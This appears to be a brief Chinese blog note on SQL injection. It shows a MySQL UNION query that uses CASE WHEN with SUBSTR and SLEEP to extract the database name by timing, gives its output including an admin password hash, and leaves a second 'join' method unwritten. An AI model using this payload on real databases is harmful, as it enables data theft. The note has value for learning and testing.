目前所知博主仅知的两个方法
1.通过case when then
2.join
[一]case when then
mysql> select * from lbcms_admin where adminname like "%a%" union select 1,2,3,4,5,6,7,case when substr(database() from 1 for 1) = 'l' then sleep(3) else 0 end; +----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+ | ID | adminName | adminPassWord | adminLov | adminConfig | adminClass | adminLock | adminDate | +----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+ | 1 | admin | a797ba2993304483f0d180e25d14319a | 520 | | NULL | SgrRUQ | 2010-04-14 00:00:00 | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 0 | +----+-----------+----------------------------------+----------+-------------+------------+-----------+---------------------+ 2 rows in set (3.00 sec)
相关知识[1]https://www.cnblogs.com/nul1/p/8727873.html
case when 条件1 then 条件2 else 条件3 end; #如果条件1成立就执行条件2否则执行条件3
相关知识[2]https://www.cnblogs.com/nul1/p/9297045.html
from 1 for 1 #分页,前面的1代表截第几个,后面的1代表截取的长度.
[二]join